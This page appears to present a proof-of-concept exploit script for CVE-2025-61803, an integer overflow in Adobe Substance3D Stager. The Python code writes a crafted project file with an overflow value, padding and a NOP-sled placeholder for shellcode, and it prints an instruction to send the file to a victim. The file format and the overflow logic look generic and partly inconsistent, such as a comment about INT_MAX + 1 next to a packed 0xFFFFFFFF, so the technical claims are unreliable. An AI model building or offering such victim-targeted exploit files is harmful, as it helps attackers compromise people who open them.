CVE-2025-61803 Adobe Substance3D Stager 整数溢出漏洞

# CVE-2025-61803 PoC - Adobe Substance3D Stager Integer Overflow # Vulnerability: Integer Overflow or Wraparound leading to Arbitrary Code Execution # Affected: Substance3D Stager <= 3.1.4 import struct import sys def create_malicious_sbs_file(output_path): """ Create a malicious Substance3D Stager project file that triggers an integer overflow vulnerability (CVE-2025-61803). The vulnerability is triggered when the application parses specific numeric fields in the project file without proper bounds checking. """ # File header for Substance3D Stager project format header = b"SBSSTAGER\x01\x00\x00\x00" # Crafted integer value that will cause overflow during processing # Using INT_MAX + 1 to trigger wraparound behavior overflow_value = struct.pack("<I", 0xFFFFFFFF) # Max uint32 value # Malicious payload section with overflow-triggering values payload = b"" payload += struct.pack("<I", 0xDEADBEEF) # Magic number payload += overflow_value # Overflow trigger payload += struct.pack("<I", 0x41414141) # Padding payload += b"\x00" * 256 # Reserved space # Shellcode placeholder (would be replaced with actual payload) shellcode_placeholder = b"\x90" * 64 # NOP sled # Combine all sections malicious_file = header + payload + shellcode_placeholder with open(output_path, "wb") as f: f.write(malicious_file) print(f"[+] Malicious file created: {output_path}") print(f"[!] Send this file to victim and wait for them to open it in Substance3D Stager") if __name__ == "__main__": output = sys.argv[1] if len(sys.argv) > 1 else "malicious.sbs" create_malicious_sbs_file(output)